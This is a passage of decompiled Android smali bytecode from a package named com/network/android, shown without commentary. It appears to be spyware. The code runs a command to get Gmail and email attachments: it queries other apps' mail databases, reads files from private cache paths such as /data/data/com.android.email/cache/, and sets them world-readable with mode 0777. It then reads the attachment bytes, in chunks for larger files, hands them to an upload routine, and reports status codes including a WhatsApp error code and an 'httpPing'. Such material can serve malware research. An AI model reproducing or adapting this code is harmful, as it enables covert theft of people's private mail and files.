      440invoke-direct {v9, v10}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      442invoke-virtual {v9, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      443move-result-object v9
      445invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      446move-result-object v9
      448invoke-static {v9}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      450const-string v9, "\\|"
      452invoke-virtual {v8, v9}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
      453move-result-object v8
      454if-eqz v8, :cond_29b
      455const/4 v9, 0x6
      456aget-object v9, v8, v9
      458invoke-virtual {v1, v9}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      459move-result v9
      460if-eqz v9, :cond_29b
      461const/4 v9, 0x6
      462aget-object v1, v8, v9
      463const/4 v9, 0x1
      464aget-object v3, v8, v9
      465if-eqz v2, :cond_298
      467invoke-virtual {v2}, Ljava/lang/String;->length()I
      468move-result v9
      469if-nez v9, :cond_29b
      470cond_298: const/4 v9, 0x2
      471aget-object v2, v8, v9
      472cond_29b: add-int/lit8 v4, v4, 0x1
      473goto/16 :goto_262
      474cond_29e:
      475const-string v1, "timeStamp"
      476move-object/from16 v0, v17
      478invoke-interface {v0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      479move-result v1
      480move-object/from16 v0, v17
      482invoke-interface {v0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      483try_end_2ab: move-result-object v5
      484goto/16 :goto_1c3
      485catch_2ae: move-exception v3
      486try_start_2af:
      487const-string v3, "GetContentMail getAttachmentFileCommandGmail mimeType row does not exist in theis Gmail DB messages table"
      489invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      490try_end_2b4: goto/16 :goto_232
      491catch_2b6: move-exception v1
      492goto_2b7: new-instance v2, Ljava/lang/StringBuilder;
      494const-string v3, "get GetContentMail getAttachmentFileCommandGmail - "
      496invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      498invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      499move-result-object v3
      501invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      502move-result-object v2
      504invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      505move-result-object v2
      507invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      508const/4 v1, 0x1
      509const/16 v2, 0x78
      511const-string v3, "GET_ATTACHMENT_FAIL"
      513invoke-static {v1, v2, v3}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;)V
      514const/4 v1, 0x0
      515const/16 v2, 0x78
      517const-string v3, ""
      518move-object/from16 v0, p0
      520iget-object v4, v0, Lcom/network/android/t;->e:Ljava/lang/String;
      522invoke-static {v4}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      523move-result-object v4
      525invoke-static {v1, v2, v3, v4}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      526const/4 v1, 0x0
      527const/16 v2, -0x3cae
      529const-string v3, ""
      530move-object/from16 v0, p0
      532iget-object v4, v0, Lcom/network/android/t;->e:Ljava/lang/String;
      534invoke-static {v4}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      535move-result-object v4
      537invoke-static {v1, v2, v3, v4}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      538move-object/from16 v0, p0
      540iget-object v1, v0, Lcom/network/android/t;->d:Landroid/content/Context;
      542const-string v2, "httpPing"
      544invoke-static {v1, v2}, Lcom/network/android/a/c;->a(Landroid/content/Context;Ljava/lang/String;)V
      545try_end_2fe: goto/16 :goto_219
      546catch_300: move-exception v1
      547move-object v2, v13
      548goto_302: new-instance v3, Ljava/lang/StringBuilder;
      550const-string v4, "GetContentMail getAttachmentFileCommandGmail - "
      552invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      554invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      555move-result-object v4
      557invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      558move-result-object v3
      560invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      561move-result-object v3
      563invoke-static {v3, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      564const/4 v1, 0x1
      565const/16 v3, 0x78
      567const-string v4, "GET_ATTACHMENT_FAIL"
      569invoke-static {v1, v3, v4}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;)V
      570const/4 v1, 0x0
      571const/16 v3, 0x78
      573const-string v4, ""
      574move-object/from16 v0, p0
      576iget-object v5, v0, Lcom/network/android/t;->e:Ljava/lang/String;
      578invoke-static {v5}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      579move-result-object v5
      581invoke-static {v1, v3, v4, v5}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      582const/4 v1, 0x0
      583const/16 v3, -0x3cae
      585const-string v4, ""
      586move-object/from16 v0, p0
      588iget-object v5, v0, Lcom/network/android/t;->e:Ljava/lang/String;
      590invoke-static {v5}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      591move-result-object v5
      593invoke-static {v1, v3, v4, v5}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      594move-object/from16 v0, p0
      596iget-object v1, v0, Lcom/network/android/t;->d:Landroid/content/Context;
      598const-string v3, "httpPing"
      600invoke-static {v1, v3}, Lcom/network/android/a/c;->a(Landroid/content/Context;Ljava/lang/String;)V
      601try_end_349: if-eqz v2, :cond_34e
      602try_start_34b:
      603invoke-interface {v2}, Landroid/database/Cursor;->close()V
      604try_start_34e:
      605const-string v1, "getAttachmentFileCommand end"
      607invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      608try_end_353: if-eqz v16, :cond_358
      609try_start_355:
      610invoke-virtual/range {v16 .. v16}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      611cond_358: if-eqz v17, :cond_35d
      613invoke-interface/range {v17 .. v17}, Landroid/database/Cursor;->close()V
      614cond_35d: if-eqz v15, :cond_366
      615if-eqz v14, :cond_366
      616move-object/from16 v0, v18
      618invoke-static {v15, v0, v14}, Lcom/network/android/m;->a(Ljava/util/HashMap;Ljava/lang/String;[Ljava/lang/String;)V
      619cond_366:
      620invoke-interface/range {v19 .. v19}, Ljava/util/concurrent/locks/Lock;->lock()V
      621try_end_369: goto/16 :goto_b
      622catch_36b: move-exception v1
      623try_start_36c: new-instance v2, Ljava/lang/StringBuilder;
      625const-string v3, "GetContentMail getAttachmentFileCommandGmail finally- "
      627invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      629invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      630move-result-object v3
      632invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      633move-result-object v2
      635invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      636move-result-object v2
      638invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      639try_end_382: goto/16 :goto_b
      640cond_384: move-object v9, v1
      641move-object v8, v2
      642move-object v1, v3
      643try_start_387:
      644const-string v2, "filename"
      646invoke-interface {v13, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      647move-result v2
      649invoke-interface {v13, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      650move-result-object v2
      651if-eqz v1, :cond_399
      653invoke-virtual {v1}, Ljava/lang/String;->length()I
      654move-result v3
      655if-nez v3, :cond_3b8
      656cond_399: new-instance v3, Ljava/lang/StringBuilder;
      658const-string v4, "GetContentMail addGMailAttachments get by contentUri: "
      660invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      662invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      663move-result-object v3
      665invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      666move-result-object v3
      668invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      669if-eqz v2, :cond_3b8
      671const-string v1, "/"
      673invoke-virtual {v2, v1}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
      674move-result-object v1
      675array-length v3, v1
      676add-int/lit8 v3, v3, -0x1
      677aget-object v1, v1, v3
      678cond_3b8: move-object v6, v1
      679move-object v1, v2
      680goto_3ba: new-instance v2, Ljava/lang/StringBuilder;
      682const-string v3, "GetContentMail getAttachmentFileCommandGmail attachmentFileName: "
      684invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      686invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      687move-result-object v2
      689invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      690move-result-object v2
      692invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      693try_end_3cc: const/4 v3, 0x0
      694if-eqz v1, :cond_654
      695try_start_3cf:
      696invoke-virtual {v1}, Ljava/lang/String;->length()I
      697move-result v2
      698if-lez v2, :cond_654
      699new-instance v2, Ljava/lang/StringBuilder;
      701const-string v4, "GetContentMail getAttachmentFileCommandGmail URI: "
      703invoke-direct {v2, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      705invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      706move-result-object v2
      708invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      709move-result-object v2
      711invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      713invoke-static {v1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
      714move-result-object v1
      716invoke-virtual {v1}, Landroid/net/Uri;->getScheme()Ljava/lang/String;
      717move-result-object v2
      719const-string v4, "file"
      721invoke-virtual {v4, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      722move-result v4
      723if-eqz v4, :cond_4cf
      725invoke-virtual {v1}, Landroid/net/Uri;->getPath()Ljava/lang/String;
      726try_end_3fa: move-result-object v2
      727try_start_3fb: new-instance v1, Ljava/lang/StringBuilder;
      729const-string v3, "GetContentMail getAttachmentFileCommandGmail copy local: "
      731invoke-direct {v1, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      733invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      734move-result-object v1
      736invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      737move-result-object v1
      739invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      740try_end_40d: move-object v11, v2
      741goto_40e:
      742invoke-static {v11}, Lcom/network/android/m;->b(Ljava/lang/String;)Ljava/util/HashMap;
      743try_end_411: move-result-object v12
      744try_start_412:
      745const-string v1, "0777"
      747invoke-static {v1, v11}, Lcom/network/android/m;->b(Ljava/lang/String;Ljava/lang/String;)V
      748new-instance v1, Ljava/io/File;
      750invoke-direct {v1, v11}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      752invoke-virtual {v1}, Ljava/io/File;->exists()Z
      753move-result v2
      754if-eqz v2, :cond_61b
      756invoke-virtual {v1}, Ljava/io/File;->length()J
      757move-result-wide v2
      758long-to-int v2, v2
      760invoke-static {v2}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
      761move-result-object v7
      762new-instance v3, Ljava/lang/StringBuilder;
      764const-string v4, "GetContentMail getAttachmentFileCommandGmail attachmentLength: "
      766invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      768invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      769move-result-object v3
      771invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      772move-result-object v3
      774invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      775if-nez v2, :cond_51b
      777const-string v1, "GetContentMail getAttachmentFileCommandGmail 0 chankData fileSize"
      779invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      780try_end_444: if-eqz v13, :cond_449
      781try_start_446:
      782invoke-interface {v13}, Landroid/database/Cursor;->close()V
      783goto_449: if-eqz v16, :cond_44e
      784try_start_44b:
      785invoke-virtual/range {v16 .. v16}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      786cond_44e: if-eqz v17, :cond_453
      788invoke-interface/range {v17 .. v17}, Landroid/database/Cursor;->close()V
      789cond_453: if-eqz v15, :cond_45c
      790if-eqz v14, :cond_45c
      791move-object/from16 v0, v18
      793invoke-static {v15, v0, v14}, Lcom/network/android/m;->a(Ljava/util/HashMap;Ljava/lang/String;[Ljava/lang/String;)V
      794cond_45c:
      795invoke-interface/range {v19 .. v19}, Ljava/util/concurrent/locks/Lock;->lock()V
      796try_end_45f: goto/16 :goto_b
      797catch_461: move-exception v1
      798try_start_462: new-instance v2, Ljava/lang/StringBuilder;
      800const-string v3, "GetContentMail getAttachmentFileCommandGmail finally- "
      802invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      804invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      805move-result-object v3
      807invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      808move-result-object v2
      810invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      811move-result-object v2
      813invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      814try_end_478: goto/16 :goto_b
      815catch_47a: move-exception v4
      816move-object/from16 v22, v4
      817move-object v4, v3
      818move-object v3, v1
      819move-object/from16 v1, v22
      820try_start_481: new-instance v6, Ljava/lang/StringBuilder;
      822const-string v8, "GetContentMail getAttachmentFileCommandGmail get attchment name - "
      824invoke-direct {v6, v8}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      826invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      827move-result-object v8
      829invoke-virtual {v6, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      830move-result-object v6
      832invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      833move-result-object v6
      835invoke-static {v6, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      836move-object v9, v3
      837move-object v8, v2
      838move-object v1, v4
      839goto/16 :goto_387
      840cond_49c:
      841const-string v1, "fileName"
      843invoke-interface {v13, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      844move-result v1
      846invoke-interface {v13, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      847move-result-object v6
      849const-string v1, "size"
      851invoke-interface {v13, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      852move-result v1
      854invoke-interface {v13, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      856const-string v1, "mimeType"
      858invoke-interface {v13, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      859move-result v1
      861invoke-interface {v13, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      862move-result-object v8
      864const-string v1, "_id"
      866invoke-interface {v13, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      867move-result v1
      869invoke-interface {v13, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      870move-result-object v9
      872const-string v1, "contentUri"
      874invoke-interface {v13, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      875move-result v1
      877invoke-interface {v13, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      878try_end_4cc: move-result-object v1
      879goto/16 :goto_3ba
      880cond_4cf:
      881const-string v4, "content"
      883invoke-virtual {v4, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      884move-result v2
      885if-eqz v2, :cond_7eb
      887invoke-virtual {v1}, Landroid/net/Uri;->getPathSegments()Ljava/util/List;
      888move-result-object v4
      889const/4 v1, 0x0
      891invoke-interface {v4, v1}, Ljava/util/List;->get(I)Ljava/lang/Object;
      892move-result-object v1
      893check-cast v1, Ljava/lang/String;
      894const/4 v2, 0x1
      896invoke-interface {v4, v2}, Ljava/util/List;->get(I)Ljava/lang/Object;
      897move-result-object v2
      898check-cast v2, Ljava/lang/String;
      899const/4 v10, 0x2
      901invoke-interface {v4, v10}, Ljava/util/List;->get(I)Ljava/lang/Object;
      902new-instance v4, Ljava/lang/StringBuilder;
      904const-string v10, "/data/data/com.android.email/cache/"
      906invoke-direct {v4, v10}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      908invoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      909move-result-object v1
      911const-string v4, ".db_att/"
      913invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      914move-result-object v1
      916invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      917move-result-object v1
      919invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      920try_end_505: move-result-object v2
      921try_start_506: new-instance v1, Ljava/lang/StringBuilder;
      923const-string v3, "GetContentMail getAttachmentFileCommandGmail cashed content path: "
      925invoke-direct {v1, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      927invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      928move-result-object v1
      930invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      931move-result-object v1
      933invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      934try_end_518: move-object v11, v2
      935goto/16 :goto_40e
      936cond_51b:
      937invoke-virtual {v1}, Ljava/io/File;->length()J
      938move-result-wide v3
      939const-wide/32 v20, 0x19000
      940cmp-long v3, v3, v20
      941if-gez v3, :cond_5ca
      942new-array v10, v2, [B
      943new-instance v2, Ljava/io/FileInputStream;
      945invoke-direct {v2, v1}, Ljava/io/FileInputStream;-><init>(Ljava/io/File;)V
      947invoke-virtual {v2, v10}, Ljava/io/FileInputStream;->read([B)I
      949invoke-virtual {v2}, Ljava/io/FileInputStream;->close()V
      950move-object/from16 v0, p0
      952iget-object v1, v0, Lcom/network/android/t;->a:Ljava/lang/String;
      953new-instance v2, Ljava/lang/StringBuilder;
      955invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      957invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      958move-result-object v2
      960const-string v3, "-single"
      962invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      963move-result-object v2
      965invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      966move-result-object v2
      967move-object/from16 v0, p0
      969iget-object v3, v0, Lcom/network/android/t;->d:Landroid/content/Context;
      970move-object/from16 v0, p0
      972iget-object v4, v0, Lcom/network/android/t;->e:Ljava/lang/String;
      974invoke-static/range {v1 .. v10}, Lcom/network/android/r;->a(Ljava/lang/String;Ljava/lang/String;Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;[B)V
      975move-object/from16 v0, p0
      977iget-object v1, v0, Lcom/network/android/t;->e:Ljava/lang/String;
      979invoke-static {v1}, Lcom/network/android/c/a/b;->a(Ljava/lang/String;)V
      980move-object/from16 v0, p0
      982iget-object v1, v0, Lcom/network/android/t;->d:Landroid/content/Context;
      984invoke-static {v1}, Lcom/network/android/j;->a(Landroid/content/Context;)V
      985goto_563: move-object v7, v12
      986goto_564: if-eqz v11, :cond_219
      987if-eqz v7, :cond_219
      988try_start_568:
      989invoke-static {v7, v11}, Lcom/network/android/m;->a(Ljava/util/HashMap;Ljava/lang/String;)V
      990try_end_56b: goto/16 :goto_219
      991catchall_56d: move-exception v1
      992goto_56e: if-eqz v13, :cond_573
      993try_start_570:
      994invoke-interface {v13}, Landroid/database/Cursor;->close()V
      995goto_573: throw v1
      996catch_574: move-exception v1
      997move-object v2, v14
      998move-object v3, v15
      999move-object/from16 v4, v16
      1000move-object/from16 v5, v17
      1001try_start_57b: new-instance v6, Ljava/lang/StringBuilder;
      1003const-string v7, "get mail Throwable- "
      1005invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      1007invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      1008move-result-object v7
      1010invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1011move-result-object v6
      1013invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      1014move-result-object v6
      1016invoke-static {v6, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      1017const/4 v1, 0x1
      1018const/16 v6, 0xbe3
      1020const-string v7, "LOG_ERR_WHATSAPP"
      1022invoke-static {v1, v6, v7}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;)V
      1023try_end_599: if-eqz v4, :cond_59e
      1024try_start_59b:
      1025invoke-virtual {v4}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      1026cond_59e: if-eqz v5, :cond_5a3
      1028invoke-interface {v5}, Landroid/database/Cursor;->close()V
      1029cond_5a3: if-eqz v3, :cond_5ac
      1030if-eqz v2, :cond_5ac
      1031move-object/from16 v0, v18
      1033invoke-static {v3, v0, v2}, Lcom/network/android/m;->a(Ljava/util/HashMap;Ljava/lang/String;[Ljava/lang/String;)V
      1034cond_5ac:
      1035invoke-interface/range {v19 .. v19}, Ljava/util/concurrent/locks/Lock;->lock()V
      1036try_end_5af: goto/16 :goto_b
      1037catch_5b1: move-exception v1
      1038try_start_5b2: new-instance v2, Ljava/lang/StringBuilder;
      1040const-string v3, "GetContentMail getAttachmentFileCommandGmail finally- "
      1042invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      1044invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      1045move-result-object v3
      1047invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1048move-result-object v2
      1050invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      1051move-result-object v2
      1053invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      1054try_end_5c8: goto/16 :goto_b
      1055cond_5ca: move-object/from16 v0, p0
      1057iget-object v3, v0, Lcom/network/android/t;->a:Ljava/lang/String;
      1058move-object/from16 v0, p0
      1060iget-object v4, v0, Lcom/network/android/t;->e:Ljava/lang/String;
      1061move-object/from16 v0, p0
      1063iget-object v1, v0, Lcom/network/android/t;->d:Landroid/content/Context;
      1064move-object v10, v11
      1066invoke-static/range {v3 .. v10}, Lcom/network/android/r;->a(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
      1067move-object/from16 v0, p0
      1069iget-object v1, v0, Lcom/network/android/t;->e:Ljava/lang/String;
      1071invoke-static {v1}, Lcom/network/android/c/a/b;->a(Ljava/lang/String;)V
      1072try_end_5e1: goto/16 :goto_563
      1073catch_5e2: move-exception v1
      1074try_start_5e3: new-instance v2, Ljava/lang/StringBuilder;
      1076const-string v3, "GetContentMail getAttachmentFileCommandGmail chank error "
      1078invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      1080invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      1081move-result-object v3
      1083invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1084move-result-object v2
      1086invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      1087move-result-object v2
      1089invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      1090try_end_5f9: move-object v7, v12
      1091goto/16 :goto_564
      1092catchall_5fc: move-exception v1
      1093try_start_5fd: throw v1
      1094catch_5fe: move-exception v1
      1095move-object v2, v11
      1096move-object v3, v12
      1097try_start_601: new-instance v4, Ljava/lang/StringBuilder;
      1099const-string v6, "getAttachmentFileCommand- "
      1101invoke-direct {v4, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      1103invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      1104move-result-object v6
      1106invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1107move-result-object v4
      1109invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      1110move-result-object v4
      1112invoke-static {v4, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      1113try_end_617: move-object v11, v2
      1114move-object v7, v3
      1115goto/16 :goto_564
      1116cond_61b:
      1117const-string v1, "GetContentMail getAttachmentFileCommandGmail - file does not exist "
      1119invoke-static {v1}, Lcom/network/android/c/a/a;->b(Ljava/lang/String;)V
      1120const/4 v1, 0x1
      1121const/16 v2, 0x79
      1123const-string v3, "GET_ATTACHMENT_NOT_AVAILABLE"
      1125invoke-static {v1, v2, v3}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;)V
      1126const/4 v1, 0x0
      1127const/16 v2, 0x79
      1129const-string v3, "GET_ATTACHMENT_NOT_AVAILABLE"
      1130move-object/from16 v0, p0
      1132iget-object v4, v0, Lcom/network/android/t;->e:Ljava/lang/String;
      1134invoke-static {v4}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      1135move-result-object v4
      1137invoke-static {v1, v2, v3, v4}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      1138const/4 v1, 0x0
      1139const/16 v2, -0x3cae
      1141const-string v3, ""
      1142move-object/from16 v0, p0
      1144iget-object v4, v0, Lcom/network/android/t;->e:Ljava/lang/String;
      1146invoke-static {v4}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      1147move-result-object v4
      1149invoke-static {v1, v2, v3, v4}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      1150move-object/from16 v0, p0
      1152iget-object v1, v0, Lcom/network/android/t;->d:Landroid/content/Context;
      1154const-string v2, "httpPing"
      1156invoke-static {v1, v2}, Lcom/network/android/a/c;->a(Landroid/content/Context;Ljava/lang/String;)V
      1157try_end_651: move-object v7, v12
      1158goto/16 :goto_564
      1159cond_654:
      1160const-string v1, "GetContentMail getAttachmentFileCommandGmail - no URI "
      1162invoke-static {v1}, Lcom/network/android/c/a/a;->b(Ljava/lang/String;)V
      1163const/4 v1, 0x1
      1164const/16 v2, 0x79
      1166const-string v4, "GET_ATTACHMENT_NOT_AVAILABLE"
      1168invoke-static {v1, v2, v4}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;)V
      1169const/4 v1, 0x0
      1170const/16 v2, 0x78
      1172const-string v4, ""
      1173move-object/from16 v0, p0
      1175iget-object v6, v0, Lcom/network/android/t;->e:Ljava/lang/String;
      1177invoke-static {v6}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      1178move-result-object v6
      1180invoke-static {v1, v2, v4, v6}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      1181const/4 v1, 0x0
      1182const/16 v2, -0x3cae
      1184const-string v4, ""
      1185move-object/from16 v0, p0
      1187iget-object v6, v0, Lcom/network/android/t;->e:Ljava/lang/String;
      1189invoke-static {v6}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      1190move-result-object v6
      1192invoke-static {v1, v2, v4, v6}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      1193move-object/from16 v0, p0
      1195iget-object v1, v0, Lcom/network/android/t;->d:Landroid/content/Context;
      1197const-string v2, "httpPing"
      1199invoke-static {v1, v2}, Lcom/network/android/a/c;->a(Landroid/content/Context;Ljava/lang/String;)V
      1200try_end_68a: move-object v11, v3
      1201goto/16 :goto_564
      1202cond_68d: const/4 v1, 0x1
